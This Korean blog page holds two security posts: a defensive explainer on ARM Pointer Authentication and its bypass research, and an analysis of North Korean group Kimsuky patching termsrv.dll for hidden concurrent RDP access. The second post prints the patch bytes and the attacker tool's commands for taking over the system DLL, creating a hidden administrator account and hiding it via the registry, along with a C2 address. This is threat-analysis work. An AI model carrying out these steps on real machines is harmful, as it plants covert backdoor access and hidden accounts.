Optimizing Cyber Defense in Dynamic Active Directories through Reinforcement Learning, arXiv:2406.19596, Jun 2024. [링크]
RedTeamLLM: an Agentic AI framework for offensive security, arXiv:2505.06913, May 2025. [링크]
CurriculumPT: LLM-Based Multi-Agent Autonomous Penetration Testing with Curriculum-Guided Task Scheduling, MDPI Applied Sciences, Aug 2025. [링크]

PAC 보호기법 조사

KWAKBUMJUN — Sun, 5 Apr 2026 23:23:48 +0900

1. 들어가며: 왜 포인터를 보호해야 하는가

메모리 취약점을 이용한 공격의 핵심은 거의 언제나 포인터 변조다. 스택 버퍼 오버플로우로 리턴 주소를 덮어쓰든(ROP), 함수 포인터를 변조하든(JOP), vtable을 조작하든 — 결국 공격자가 하는 일은 "프로그램이 의도하지 않은 주소로 제어 흐름을 바꾸는 것"이다.

소프트웨어 수준의 방어(ASLR, Stack Canary, CFI 등)는 효과적이지만 한계가 있다. ASLR은 정보 유출로 우회되고, Stack Canary는 비순차적 쓰기로 건너뛸 수 있다. 이 한계를 극복하기 위해 ARM은 하드웨어 수준에서 포인터 자체에 암호학적 서명을 삽입하는 기법을 도입했다.

이것이 PAC(Pointer Authentication Code)이다.

2. PAC의 핵심 개념

2.1 한 문장 요약

포인터의 미사용 상위 비트에 암호학적 해시(PAC)를 삽입하고, 포인터 사용 시 해시를 검증하여 변조 여부를 판별한다.

2.2 PAC가 들어가는 자리: 64비트 포인터의 빈 공간

현대 ARM64 시스템에서 64비트 포인터의 모든 비트가 실제 주소 지정에 사용되지는 않는다. 예를 들어 48비트 가상 주소 체계를 사용하는 Linux 시스템에서는:

63                              48 47                                0
┌────────  ─────────────────────────┬─────────────────────────────────────┐
│        미사용 상위 비트            │          가상 주소 (48비트)          │
│    (기존: 부호 확장으로 채움)       │                                     │
│                                  │                                     │
│   ← 여기에 PAC를 삽입 →          │                                     │
└─────────────────  ────────────────┴─────────────────────────────────────┘

PAC 비트 폭 = 55 - 가상 주소 크기

가상 주소 크기	PAC 비트 폭	가능한 PAC 값 수
48비트	7비트	128
42비트	13비트	8,192
39비트	16비트	65,536

PAC 비트 폭이 클수록 보안 강도가 높아진다. 7비트 PAC는 128개의 가능한 값 중 하나를 무작위로 맞춰야 하므로, 단순 브루트포스의 성공 확률은 약 1/128이다. 16비트라면 1/65,536이 된다.

2.3 PAC 계산의 세 가지 입력

PAC는 다음 세 가지 값을 입력으로 받아 계산된다:

┌──────────────┐
│  포인터 값     │  (서명할 대상 — 예: 리턴 주소)
│  (64비트)      │
└──────┬───────┘
       │
       ▼
┌──────────────┐     ┌───────────   ──┐
│   컨텍스트    │     │  비밀 키      │
│  (64비트)     │     │ (128비트)     │
│              │     │              │
│ 예: 현재 SP  │     │ 프로세스별    │
│    또는 0    │     │ 랜덤 할당    │
└──────┬───────┘     └──────┬───────┘
       │                    │
       └────────┬───────────┘
                │
                ▼
        ┌──────────────┐
        │   QARMA-64   │  (또는 구현체 선택 암호 알고리즘)
        │   암호 연산   │
        └──────┬───────┘
               │
               ▼
        ┌────────────   ─┐
        │   PAC 값      │  → 포인터 상위 비트에 삽입
        │ (7~16비트)    │
        └──────────────┘

입력	설명	역할
포인터 값	서명할 64비트 포인터 (예: 함수 리턴 주소)	서명 대상
컨텍스트(Modifier)	64비트 보조 값 (예: 현재 스택 포인터, 0 등)	동일 포인터라도 컨텍스트가 다르면 다른 PAC 생성 → 재사용 공격 방지
비밀 키	128비트 비밀 키 (시스템 레지스터에 저장)	키를 모르면 PAC 위조 불가

컨텍스트의 중요성: 같은 함수의 리턴 주소라도, 호출 시점의 스택 포인터(SP)가 다르면 PAC 값이 달라진다. 이는 공격자가 한 곳에서 유출한 서명된 포인터를 다른 곳에서 재사용하는 것을 방지한다.

3. PAC의 5개 키 체계

ARMv8.3은 5개의 독립적인 128비트 비밀 키를 제공한다:

키 이름	용도	관련 명령어	사용 예시
APIAKey	명령어 포인터 서명 A	PACIA, AUTIA	리턴 주소 보호 (주로 사용)
APIBKey	명령어 포인터 서명 B	PACIB, AUTIB	대체 키 (교차 서명 등)
APDAKey	데이터 포인터 서명 A	PACDA, AUTDA	C++ vtable, 함수 포인터 보호
APDBKey	데이터 포인터 서명 B	PACDB, AUTDB	대체 데이터 키
APGAKey	범용 인증	PACGA	임의 데이터 블록의 MAC 계산

왜 2개씩? 키를 분리하면 서로 다른 보안 도메인 간의 격리가 가능하다. 예를 들어 커널과 유저 공간이 다른 키를 사용하면, 유저 공간에서 유출된 서명이 커널 포인터 위조에 사용될 수 없다.

Apple의 확장: Apple Silicon(M1/M2)은 EXTRAKEY_EL1이라는 128비트 레지스터를 추가로 도입했다. 이 키는 ARM 표준 키와 XOR되어 실제 PAC 연산에 사용된다. 이를 통해 유저/커널 모드 간 PAC 키를 추가로 분리한다.

4. PAC 명령어 상세

4.1 명령어 명명 규칙

PAC  +  I/D  +  A/B  +  수식어
 │       │       │       │
 │       │       │       └── SP: 스택 포인터를 컨텍스트로 사용
 │       │       │           Z:  컨텍스트 = 0
 │       │       │           (없음): 범용 레지스터를 컨텍스트로 사용
 │       │       │
 │       │       └── A: A키 사용, B: B키 사용
 │       │
 │       └── I: 명령어(Instruction) 포인터
 │           D: 데이터(Data) 포인터
 │
 └── PAC: 서명 삽입
     AUT: 서명 검증
     XPAC: 서명 제거 (검증 없이)

4.2 핵심 명령어 일람

서명 삽입 (PAC*)

명령어	동작	입력	컨텍스트
`PACIA Xd, Xn`	A키로 Xd에 PAC 삽입	Xd = 포인터	Xn = 컨텍스트
`PACIASP`	A키로 LR(x30)에 PAC 삽입	LR = 리턴 주소	SP = 컨텍스트
`PACIAZ`	A키로 LR에 PAC 삽입	LR	0
`PACIZA Xd`	A키로 Xd에 PAC 삽입	Xd	0
`PACDA Xd, Xn`	A키로 데이터 포인터 서명	Xd = 포인터	Xn = 컨텍스트
`PACIB`, `PACDB`	B키 버전 (동일 구조)	—	—
`PACGA Xd, Xn, Xm`	범용 인증 코드 생성	Xn, Xm 입력	결과를 Xd에 저장

서명 검증 (AUT*)

명령어	동작	성공 시	실패 시
`AUTIA Xd, Xn`	A키로 Xd의 PAC 검증	PAC 제거, 원본 포인터 복원	포인터 변조 (역참조 시 폴트)
`AUTIASP`	A키로 LR 검증 (SP 컨텍스트)	LR 복원	폴트 유발
`AUTDA Xd, Xn`	A키로 데이터 포인터 검증	원본 포인터 복원	포인터 변조

서명 제거 (XPAC*)

명령어	동작	용도
`XPACI Xd`	PAC를 제거하고 원본 포인터 복원	디버깅, 포인터 비교 시
`XPACD Xd`	데이터 포인터에서 PAC 제거	—

복합 명령어

명령어	동작	설명
`RETAA`	`AUTIASP` + `RET`	리턴 주소 검증 후 리턴 (원자적)
`RETAB`	`AUTIBSP` + `RET`	B키 버전
`BRAA Xn, Xm`	`AUTIA` + `BR`	검증 후 간접 분기
`BLRAA Xn, Xm`	`AUTIA` + `BLR`	검증 후 간접 호출

4.3 인증 실패 처리

PAC 검증(AUT*)이 실패하면, 포인터가 의도적으로 변조(mangled)된다. 구체적으로:

인증 성공:
  포인터 상위 비트에서 PAC 제거 → 원본 유효 주소 복원 → 정상 사용

인증 실패:
  포인터 상위 비트를 고의적으로 오류 값으로 설정
  → 이 포인터를 역참조하면 가상 주소 범위 밖의 주소에 접근 시도
  → MMU가 페이지 폴트(Segmentation Fault) 발생
  → 프로그램 크래시

핵심: PAC은 "공격을 막는 것"이 아니라, "변조된 포인터 사용 시 프로그램이 크래시하도록 보장"하는 것이다. 공격자가 포인터를 변조하면 해당 포인터로의 제어 흐름 전환이 폴트를 일으켜, 익스플로잇이 실패한다.

5. QARMA-64: PAC의 암호 엔진

5.1 왜 전용 암호 알고리즘이 필요한가

PAC 연산은 모든 함수 호출과 리턴에서 수행된다. 즉 프로그램 실행 중 매우 빈번하게 호출되 로, 암호 알고리즘이 다음 조건을 만족해야 한다:

극도로 낮은 지연 시간 (수 사이클 내 완료)
작은 하드웨어 면적 (모든 코어에 내장)
충분한 암호학적 강도 (PAC 비트 폭 내에서의 충돌 저항성)

AES나 SHA-256은 너무 무겁다. 그래서 Qualcomm이 ARM을 위해 QARMA-64를 설계했다.

5.2 QARMA-64 특성

항목	값
설계자	Qualcomm (Roberto Avanzi)
블록 크기	64비트
키 크기	128비트
구조	Tweakable block cipher (조정 가능 블록 암호)
라운드 수	5~7라운드 (QARMA-5, QARMA-7)
특징	역변환이 거의 동일한 비용 → 서명과 검증 모두 빠름

"Tweakable"의 의미: 입력 블록(포인터)과 키 외에 트윅(tweak = 컨텍스트 값)을 추가 입력으로 받는다. 같은 포인터+같은 키여도 트윅(SP 등)이 다르면 른 출력을 생성한다. 이것이 PAC의 "컨텍스트" 역할을 하드웨어적으로 구현하는 방식이다.

참고: ARM은 QARMA-64를 권장하지만 구현체에 강제하지는 않는다. 칩 제조사는 다른 알고리즘을 사용할 수 있다. Apple Silicon은 자체 알고리즘을 사용하는 것으로 알려져 있다.

6. PAC의 실전: 함수 호출 보호

6.1 ROP 공격과 PAC 방어

ROP(Return-Oriented Programming) 공격의 핵심:

버퍼 오버플로우로 스택의 리턴 주소를 덮어쓴다
리턴 주소를 프로그램 내 기존 코드 조각(가젯)의 주소로 교체한다
함수가 리턴할 때 가젯으로 제어 흐름이 전환된다

PAC가 이를 막는 원리:

; ===== 함수 프롤로그 =====
my_function:
    paciasp                        ; ① LR(리턴 주소)에 PAC 삽입
                                   ;    키 = APIAKey
                                   ;    컨텍스트 = 현재 SP 값
    stp     x29, x30, [sp, #-16]!  ; ② PAC가 삽입된 LR을 스택에 저장
    mov     x29, sp

    ; ... 함수 본문 ...

; ===== 함수 에필로그 =====
    ldp     x29, x30, [sp], #16    ; ③ 스택에서 LR 복원
    autiasp                        ; ④ LR의 PAC 검증
                                   ;    컨텍스트 = 현재 SP (프롤로그와 동일해야 함)
                                   ;    검증 실패 시 → LR 변조 → 폴트
    ret                            ; ⑤ 검증 통과한 LR로 리턴

또는 복합 명령어를 사용하면:

; 에필로그 (간소화)
    ldp     x29, x30, [sp], #16
    retaa                          ; AUTIASP + RET을 원자적으로 수행

공격자의 딜레마:

리턴 주소를 덮어쓰면 → PAC가 불일치 → autiasp에서 폴트
유효한 PAC를 삽입하려면 → 128비트 비밀 키를 알아야 함 → 현실적으로 불가

6.2 JOP 공격과 PAC 방어

JOP(Jump-Oriented Programming)은 리턴 대신 간접 분기(BR Xn)를 악용한다. PAC는 간접 분기 전에도 포인터를 검증하는 명령어를 제공한다:

; 함수 포인터 호출 보호
    ldr     x8, [x0]              ; 함수 포인터 로드
    blraa   x8, x9                ; x8의 PAC를 x9 컨텍스트로 검증 후 호출
                                  ; 검증 실패 시 → 폴트

6.3 데이터 포인터 보호

C++ vtable이나 연결 리스트의 next 포인터 등 데이터 포인터도 보호할 수 있다:

; 데이터 포인터 서명
    pacda   x0, x1                ; x0(데이터 포인터)에 PAC 삽입
                                  ; 키 = APDAKey, 컨텍스트 = x1

; 데이터 포인터 검증
    autda   x0, x1                ; PAC 검증 후 원본 포인터 복원
    ldr     x2, [x0]              ; 검증된 포인터로 데이터 접근

7. 실제 구현: 컴파일러와 OS의 역할

7.1 컴파일러 지원

# GCC: PAC 활성화 컴파일
gcc -march=armv8.3-a -mbranch-protection=standard -o program program.c

# Clang/LLVM: PAC 활성화
clang -target aarch64-linux-gnu -march=armv8.3-a \
      -msign-return-address=all -o program program.c

-mbranch-protection=standard는 다음을 활성화한다:

리턴 주소 서명: 모든 non-leaf 함수에 paciasp/autiasp 삽입
BTI(Branch Target Identification): 간접 분기 대상 검증

7.2 Linux 커널의 PAC 관리

커널 부팅
  │
  ├── CONFIG_ARM64_PTR_AUTH 활성화 확인
  │
  ├── 각 프로세스에 exec() 시 5개의 랜덤 키 할당
  │     APIAKey, APIBKey, APDAKey, APDBKey, APGAKey
  │
  ├── 동일 프로세스 내 모든 스레드는 키를 공유
  │
  ├── fork() 시 부모의 키가 자식에게 상속
  │
  └── exec() 시 새로운 랜덤 키 할당

커널 자체 보호: CONFIG_ARM64_PTR_AUTH_KERNEL이 활성화되면 커널 코드의 함수 리턴 주소도 PAC로 보호된다. 이때 HINT 공간 명령어를 사용하여 PAC 미지원 CPU에서도 NOP로 처리되어 호환성을 유지한다.

7.3 Apple XNU (iOS/macOS)

Apple의 PAC 구현은 ARM 표준보다 훨씬 광범위하다:

보호 대상	표준 ARM PAC	Apple PAC
리턴 주소	✓	✓
함수 포인터	선택적	기본 적용
Objective-C isa 포인터	—	✓
C++ vtable	선택적	✓
블록 invoke 포인터	—	✓
시스템 콜 핸들러	—	✓

Apple은 9가지 수식어(modifier) 유형을 정의하여 포인터 종류별로 다른 컨텍스트를 사용한다. 이는 한 종류의 서명된 포인터를 다른 종류로 재사용하는 타입 혼동 공격을 방지한다.

8. PAC 우회 공격 연구

PAC는 강력하지만 완벽하지 않다. 다음은 알려진 주요 공격 연구이다.

8.1 PACMAN (MIT, 2022)

논문: "PACMAN: Attacking ARM Pointer Authentication with Speculative Execution" (ISCA 2022)

핵심 아이디어: 투기적 실행(Speculative Execution)을 이용하여 PAC 값을 브루트포스 추측한다.

[PACMAN 공격 원리]

일반적인 PAC 브루트포스:
  추측값이 틀림 → 프로그램 크래시 → 탐지됨 (불가능)

PACMAN의 우회:
  ① 추측값으로 포인터를 투기적으로(speculatively) 사용
  ② CPU가 투기적 실행 경로에서 해당 포인터로 메모리 접근
  ③ 추측이 맞으면 → 캐시에 흔적이 남음 (TLB/캐시 상태 변화)
     추측이 틀리면 → 투기적 실행이 롤백되어 흔적 없음
  ④ 캐시 사이드 채널로 추측 성공 여부를 판별
  ⑤ 크래시 없이 PAC 값 확인 가능 → "PAC Oracle"

영향:

7비트 PAC: 최대 128번 시도로 정확한 PAC 추측 가능
Apple M1, ARM Cortex-A78, Neoverse V1/N2 등 광범위한 칩 영향
하드웨어 결함이므로 소프트웨어 패치 불가

제한 사항:

PACMAN 자체만으로는 시스템을 침해할 수 없음
별도의 메모리 취약점(버퍼 오버플로우 등)과 결합해야 함
Spectre와 유사하게 "익스플로잇 기법"이지 "독립적 취약점"이 아님

8.2 PAC 위조 (Signing Oracle) 공격

RET2 Systems의 연구에서 시연된 시나리오:

[Signing Oracle 공격 흐름]

① 프로그램 내에 "임의 포인터를 서명하는" 기능이 노출됨
   (예: 사용자 입력을 PACIA로 서명하는 함수)

② 공격자가 원하는 목표 주소(예: system() 함수)를 입력

③ 프로그램이 해당 주소에 유효한 PAC를 삽입하여 반환

④ 공격자는 이 서명된 포인터를 버퍼 오버플로우로 리턴 주소에 배치

⑤ 함수 리턴 시 PAC 검증 통과 → 공격 성공

교훈: PAC의 보안은 "서명 기능이 공격자에게 노출되지 않아야 한다"는 전제에 의존한다. 소프트웨어 설계에서 PACIA 등의 명령어 사용을 신중하게 제한해야 한다.

8.3 기타 연구

연구	연도	공격 방식	대상
"Demystifying Pointer Authentication on Apple M1"	2023 (USENIX Security)	Apple의 PAC 구현 역공학 + 키 관리 분석	Apple M1
"PAC it up"	2019 (USENIX Security)	PAC의 보안 보장 범위 형식적 분석	ARM PAC 일반
TikTag	2024 (Black Hat)	MTE(Memory Tagging Extension) 우회 — PAC와 관련 기법	ARM MTE

9. PAC의 한계와 보완 기술

9.1 PAC 단독의 한계

한계	설명
낮은 PAC 비트 폭	가상 주소 48비트 시 PAC은 7비트 = 128가지. 브루트포스에 취약
투기적 실행 사이드채널	PACMAN 공격으로 크래시 없이 PAC 추측 가능
Signing Oracle	소프트웨어 버그로 서명 기능이 노출되면 무력화
데이터 전용 공격	제어 흐름이 아닌 데이터만 변조하는 DOP(Data-Oriented Programming)에는 무력
같은 컨텍스트 내 재사용	동일 SP에서 서명된 포인터는 해당 SP 값이 같은 시점에 재사용 가능

9.2 PAC + MTE (Memory Tagging Extension)

ARMv8.5에서 도입된 MTE는 PAC와 상호보완적이다:

PAC: 포인터의 "진위 여부"를 검증 (변조 탐지)
MTE: 포인터와 메모리의 "소유권"을 검증 (공간적 안전성)

┌─────────────────────────────────────────┐
│              PAC + MTE 병합 방어          │
│                                         │
│  [PAC]  리턴 주소 변조? → 크래시         │
│  [MTE]  범위 밖 메모리 접근? → 크래시     │
│                                         │
│  두 기법 모두 우회해야 익스플로잇 성공     │
└──────────────────────────────────────   ──┘

9.3 PAC + BTI (Branch Target Identification)

ARMv8.5의 BTI는 간접 분기의 착지점(landing pad)을 제한한다:

방어 기법	보호 대상	위협 모델
PAC	리턴 주소, 함수 포인터	ROP, JOP
BTI	간접 분기 착지점	JOP (가젯 체이닝 차단)
PAC + BTI	리턴 + 분기 모두	ROP + JOP 통합 방어

10. 정리: PAC가 바꾼 것과 바꾸지 못한 것

PAC가 바꾼 것

하드웨어 수준 CFI(Control Flow Integrity): 소프트웨어 CFI의 성능 오버헤드 없이 제어 흐름 보호
ROP/JOP 공격 비용 극대화: PAC 없이는 스택 오버플로우 하나로 가능하던 공격이, PAC 하에서는 사이드 채널 + 메모리 취약점 + 정밀한 타이밍이 동시에 필요
산업 표준화: Apple, Google(Android), Linux 커널 모두 PAC를 채택하여 ARM 생태계 전반의 보안 수준 상승

PAC가 바꾸지 못한 것

메모리 안전성 자체: PAC는 포인터 변조를 탐지하지만, 버퍼 오버플로우나 Use-After-Free 자체를 방지하지는 않음
데이터 전용 공격: 제어 흐름을 변경하지 않고 데이터만 조작하는 공격(DOP)에는 무력
사이드 채널 내성: PACMAN이 증명했듯이, 투기적 실행이라는 현대 CPU의 근본 설계와 충돌

한 문장 요약

PAC는 "메모리 취약점이 존재해도 제어 흐름 탈취를 어렵게 만드는" 하드웨어 보호 기법이다. 완벽하지 않지만, 공격의 비용을 극적으로 높인다.

참고 자료

김수키(Kimsuky)의 termsrv.dll 패치 기반 내부 침투 전략 분석

KWAKBUMJUN — Sun, 5 Apr 2026 22:55:45 +0900

들어가며: 공격자가 "원격 데스크톱"을 좋아하는 이유

APT 공격자에게 가장 이상적인 원격 접근 수단은 무엇일까? 커스텀 백도어? C2 셸? 의외로 답은 훨씬 평범하다 — RDP(Remote Desktop Protocol)다.

RDP는 Windows에 기본 내장되어 있고, 암호화된 정상 프로토콜이며, 관리자들이 일상적으로 사용한다. 트래픽 자체가 의심스럽지 않다. GUI 기반이라 파일 탐색, 문서 열람, 이메일 확인까지 자유롭다. 공격자 입장에서 RAT(Remote Access Trojan)보다 RDP가 더 편하고, 더 안전하다.

북한 연계 APT 그룹 Kimsuky(김수키)는 이 점을 정확히 간파했다. 그런데 한 가지 문제가 있었다. Windows 데스크톱 에디션은 RDP 동시 세션을 1개만 허용한다. 공격자가 RDP로 접속하는 순간, 피해자의 화면이 잠기고 세션이 끊긴다. 피해자는 즉시 이상을 눈치챈다.

Kimsuky의 해법은 우아할 정도로 단순했다: Windows의 세션 제한을 강제하는 시스템 DLL 자체를 바꿔버리는 것. 그 DLL이 바로 termsrv.dll이다.

1. Kimsuky는 누구인가

Kimsuky(또는 Black Banshee, Thallium, Velvet Chollima)는 2013년부터 활동이 확인된 북한 정찰총국 산하 사이버 공작 그룹이다. 한국, 일본, 미국의 정부 기관, 싱크탱크, 대학 연구자, 언론인을 주요 대상으로 삼는다.

이 그룹의 특징은 "기술적 정교함"보다 "사회공학적 끈기"에 있다. 몇 주에 걸쳐 신뢰를 쌓는 이메일 교신 후 악성 첨부파일을 보내는 식이다. 2024~2025년에는 DMARC 미설정 도메인을 악용한 이메일 스푸핑, GitHub를 C2로 활용한 XenoRAT 배포 등 전술을 지속적으로 진화시키고 있다.

최근 Kimsuky의 원격 접근 수단 변천사:

시기	주요 원격 접근 수단	특징
~2022	AppleSeed, Gold Dragon (커스텀 백도어)	자체 개발, 시그니처 노출 위험
2023	xRAT, TinyNuke + TightVNC (오픈소스 악용)	범용 도구로 귀속 난이도 상승
2023 하반기~	RDP Wrapper + Proxy 악성코드	정상 프로토콜 활용, 네트워크 탐지 우회
2024~	termsrv.dll 직접 패치 + RevClient	시스템 DLL 변조, 가장 은밀한 방식

이 변천사에서 읽을 수 있는 전략적 방향은 명확하다: 커스텀 악성코드에서 정상 인프라 악용으로, 네트워크 기반 탐지가 어려운 방식으로 진화하고 있다.

2. termsrv.dll의 정체: RDP의 심장부

2.1 Windows RDP 아키텍처에서의 위치

Windows의 원격 데스크톱 서비스(Terminal Services)는 svchost.exe 프로세스 내에서 호스팅되는 서비스로 동작한다. 이 서비스의 핵심 로직을 담당하는 라이브러리가 바로 C:\Windows\System32\termsrv.dll이다.

[RDP 클라이언트]
     │
     ▼ (TCP 3389, TLS 암호화)
[RDP 리스너 / 세션 브로커]
     │
     ▼
[svchost.exe -k NetworkService]
     │
     ├── termsrv.dll  ← 세션 관리, 라이선스 검증, 정책 강제
     ├── rdpcorets.dll (RDP 코어 전송)
     └── rdpbase.dll   (기반 라이브러리)
     │
     ▼
[csrss.exe / winlogon.exe / 사용자 세션]

termsrv.dll은 다음을 담당한다:

세션 생성/관리: 새 RDP 세션의 생성, 기존 세션 연결, 세션 간 전환
라이선스 정책 강제: Windows 에디션에 따른 동시 세션 수 제한
인증 처리: NLA(Network Level Authentication) 등 연결 전 인증 절차
세션 격리: 각 세션의 데스크톱 환경 격리 보장

2.2 "한 번에 하나만" — 세션 제한의 기술적 구현

Windows Server는 기본 2개, 라이선스 추가 시 무제한 RDP 세션을 허용한다. 하지만 Windows 10/11 데스크톱 에디션은 단 1개의 세션만 허용한다. 이것은 마이크로소프트의 라이선스 정책이며, 기술적으로는 termsrv.dll 내부의 다음 함수들이 이 제한을 강제한다:

함수	역할
`CDefPolicy::Query()`	핵심. 현재 세션 정책을 질의하여 추가 세션 허용 여부 결정
`CSLQuery::Initialize()`	라이선스 서버 초기화 및 라이선스 유효성 검증
`CSessionArbitrationHelper::IsSingleSessionPerUserEnabled()`	사용자당 단일 세션 제한 플래그 확인

CDefPolicy::Query()의 정상 동작을 의사코드로 표현하면 이렇다:

// 정상 CDefPolicy::Query() 의사코드 (단순화)
HRESULT CDefPolicy::Query(/* ... */) {
    // 현재 라이선스 유형 확인
    DWORD licenseType = this->m_PolicyData[0x3C / sizeof(DWORD)];

    if (licenseType == LICENSE_TYPE_CONCURRENT) {
        // 서버 에디션: 동시 세션 허용
        return S_OK;  // → 세션 생성 진행
    } else {
        // 데스크톱 에디션: 기존 세션 강제 종료 후 새 세션 생성
        return SINGLE_SESSION_ENFORCED;  // → 기존 사용자 로그오프
    }
}

이 함수의 반환 값 하나가 "동시 세션 허용 여부"를 결정한다. 공격자의 관점에서, 이 함수가 항상 "서버 에디션"처럼 동작하게 만들면 제한이 사라진다.

2.3 패치의 실체: 12바이트의 마법

ASEC의 분석에 따르면, Kimsuky가 CDefPolicy::Query() 내부에 적용한 패치는 다음과 같다:

패치 전 (정상 바이너리):

39 81 3C 06 00 00    ; cmp [rcx+0x63C], eax    ← 라이선스 유형 비교
0F 84 E7 43 01 00    ; jz  <single_session>    ← 일치하면 단일 세션 강제로 분기

패치 후 (변조된 바이너리):

B8 00 01 00 00       ; mov eax, 0x100          ← eax에 0x100(성공 코드) 저장
89 81 38 06 00 00    ; mov [rcx+0x638], eax    ← 정책 데이터에 성공 값 강제 기록
90                   ; nop                     ← 나머지 바이트 패딩

이 12바이트 패치가 하는 일을 풀어 설명하면:

원래 코드는 [rcx+0x63C]에 저장된 라이선스 유형을 eax와 비교(cmp)한다.
비교 결과가 같으면(jz, jump if zero) 단일 세션 강제 루틴으로 분기한다.
패치된 코드는 이 비교와 조건 분기를 완전히 제거하고, 대신 성공을 의미하는 값(0x100)을 정책 데이터 구조체에 직접 써넣는다.
결과적으로 CDefPolicy::Query()는 항상 "동시 세션 허용" 결과를 반환하게 된다.

[정상 실행 흐름]
CDefPolicy::Query() → 라이선스 확인 → 데스크톱 에디션 → 단일 세션 강제
                                                         ↓
                                              기존 사용자 강제 로그오프

[패치 후 실행 흐름]
CDefPolicy::Query() → (비교 건너뜀) → 항상 다중 세션 허용
                                         ↓
                              공격자와 피해자가 동시에 로그인 상태 유지

3. 전체 공격 흐름: 스피어 피싱에서 은밀한 동거까지

Kimsuky의 termsrv.dll 패치 공격은 독립적으로 수행되지 않는다. 이것은 다단계 침투 작전의 한 파트이며, 최종 목표인 "장기 은밀 접근"을 위한 인프라 구축 단계에 해당한다.

Phase 1: 초기 침투 — 스피어 피싱

[공격자] --→ 사전 조사 (LinkedIn, 학회 발표, 논문 저자)
    │
    ▼
"○○ 교수님, 최근 논문 관련 문의드립니다" (1~2주간 정상적인 이메일 교신)
    │
    ▼
"참고 자료 보내드립니다" → 문의사항.docx.lnk (이중 확장자 LNK 파일)
                          20241015_56801.docx.lnk
                          CSO_20240524.xlsx.lnk

LNK 파일은 실행 시 PowerShell 또는 Mshta를 통해 공격자의 C2 서버에서 추가 스크립트를 다운로드한다. 최근에는 Google Drive를 경유하는 사례도 확인되었다.

초기 정찰 스크립트 (hwp.bat):

WMIC 명령으로 설치된 안티바이러스 제품 확인
시스템 정보 수집 후 C2로 전송
안티바이러스 종류에 따라 후속 페이로드 선택

Phase 2: 거점 확보 — 백도어 & 키로거

구성 요소	파일명	역할
키로거	`k.ps1`	키보드 입력을 `%APPDATA%\k.log`에 저장
키로거 런처	`OneNote.vbs`	k.ps1을 주기적으로 실행
로더	`pow.ps1`	암호화된 인젝터(`desktop.r7u`)를 복호화
인젝터	`desktop.r7u`	MSBuild.exe에 RAT 인젝션
최종 페이로드	`desktop.r3u`	xRAT 또는 KimJongRAT (암호화 상태)

실행 체인:

hwp.bat → OneNote.vbs + pow.ps1 설치
              │              │
              ▼              ▼
         k.ps1 실행     desktop.r7u 복호화
         (키로거)            │
                             ▼
                    MSBuild.exe에 xRAT 인젝션
                    (정상 프로세스 위장)

최근 변종에서는 PebbleDash 백도어를 활용하는 사례도 확인되었다. PebbleDash는 원래 Lazarus 그룹이 사용하던 도구인데, 2024년부터 Kimsuky가 재활용하기 시작했다. 주목할 점은 실행 방식의 변화다: 기존 regsvr32.exe를 통한 DLL 실행에서 LSA(Local Security Authority) 레지스트리에 DLL을 등록하여 lsass.exe 프로세스가 로드하는 방식으로 전환했다. lsass.exe는 보안상 중요한 시스템 프로세스라 보안 제품이 함부로 종료하거나 검사하기 어렵다는 점을 악용한 것이다.

Phase 3: RDP 인프라 구축 — termsrv.dll 패치

이 단계가 본 보고서의 핵심이다. 공격자는 multiple.exe라는 전용 도구를 사용한다.

multiple.exe의 PDB 경로 (개발 환경 흔적):

Z:\5-program\multiple\multisession_complete\Release\x64\Multisession.pdb
G:\0711_uac_multiple_work\multisession_complete\x64\Release\Multisession.pdb

이 PDB 경로에서 읽을 수 있는 정보:

5-program: 공격자의 도구 분류 체계에서 5번째 카테고리
0711_uac_multiple_work: 7월 11일에 UAC 우회 + 다중 세션 기능을 작업
multisession_complete: 다중 세션 패치가 도구의 핵심 목적임을 명시

multiple.exe 동작 순서:

① RDP 서비스 종료
   └── net stop TermService /y

② termsrv.dll 파일 권한 획득
   └── takeown /f C:\Windows\System32\termsrv.dll
   └── icacls C:\Windows\System32\termsrv.dll /grant Everyone:F

③ 원본 파일 백업 (이름 변경)
   └── rename C:\Windows\System32\termsrv.dll → termsrv.pdb

④ 패치된 DLL 복사
   └── copy %APPDATA%\termsrv.dll → C:\Windows\System32\termsrv.dll

⑤ RDP 서비스 재시작
   └── net start TermService

⑥ 은닉 계정 생성
   └── net user IIS_USER [password] /add
   └── net localgroup Administrators IIS_USER /add
   └── reg add "HKLM\...\SpecialAccounts\UserList" /v IIS_USER /t REG_DWORD /d 0

계정 은닉의 핵심: SpecialAccounts\UserList 레지스트리에 값 0으로 등록하면, 해당 계정은 Windows 로그인 화면에 표시되지 않는다. IIS_USER라는 이름은 IIS 웹 서버의 기본 서비스 계정처럼 보이도록 의도한 위장이다.

Phase 4: 은밀한 접근 경로 확보 — RevClient

termsrv.dll 패치로 다중 세션이 가능해졌지만, 외부에서 피해자 네트워크의 RDP 포트(3389)에 직접 접근하는 것은 방화벽에 막힐 수 있다. Kimsuky는 이를 해결하기 위해 RevClient라는 자체 제작 포트 포워딩 도구를 배포한다.

RevClient v1.0 설정 정보:

버전: 1.0
뮤텍스: ZhengReversePC
C2: 5.61.59[.]53:2086
로컬 RDP: 127.0.0.2:3389

동작 원리 — 리버스 터널링:

[공격자 PC]                    [C2 서버]                    [감염 시스템]
     │                      5.61.59.53:2086                     │
     │                            │                             │
     │    RDP 클라이언트 연결 ──→ │ ←── RevClient 역방향 연결    │
     │                            │         (감염 시스템이 먼저  │
     │    ◀──── 터널링 ────▶      │          C2에 연결)          │
     │                            │              │               │
     └────── RDP 세션 ──────────────────── 127.0.0.2:3389 ──────┘

RevClient는 리버스 커넥션 방식을 사용한다. 감염 시스템이 먼저 C2 서버에 연결하고, 이 연결을 통해 공격자의 RDP 트래픽을 감염 시스템의 로컬 RDP 포트로 중계한다. 감염 시스템이 아웃바운드 연결을 하는 것이므로, 인바운드 3389를 차단하는 방화벽을 우회한다.

RevClient C2 명령 체계:

명령 코드	기능	전략적 의미
100	포트 포워딩 시작	RDP 접근 경로 개통
200	사용자 계정 삭제	흔적 제거 (작전 종료 시)
300	사용자 계정 추가 + 은닉	새 접근 계정 생성 (기존 계정 노출 시)
400	포트 포워딩 종료 + 포트 초기화	일시 중단 (탐지 회피)
500	포트 포워딩 종료	접근 경로 차단

주목할 점은 계정 생성/삭제를 C2 명령으로 동적 제어한다는 것이다. 사고 대응팀이 계정을 발견하여 삭제해도, 공격자는 명령 하나로 새 계정을 즉시 생성할 수 있다.

Phase 5: 장기 운영 — 정보 수집

RDP 인프라가 구축되면, 공격자는 GUI 환경에서 자유롭게 활동한다:

문서 탐색 및 탈취
이메일 클라이언트 접근
내부 네트워크 추가 정찰
추가 도구 설치 (키로거, 화면 캡처, 웹캠 접근)

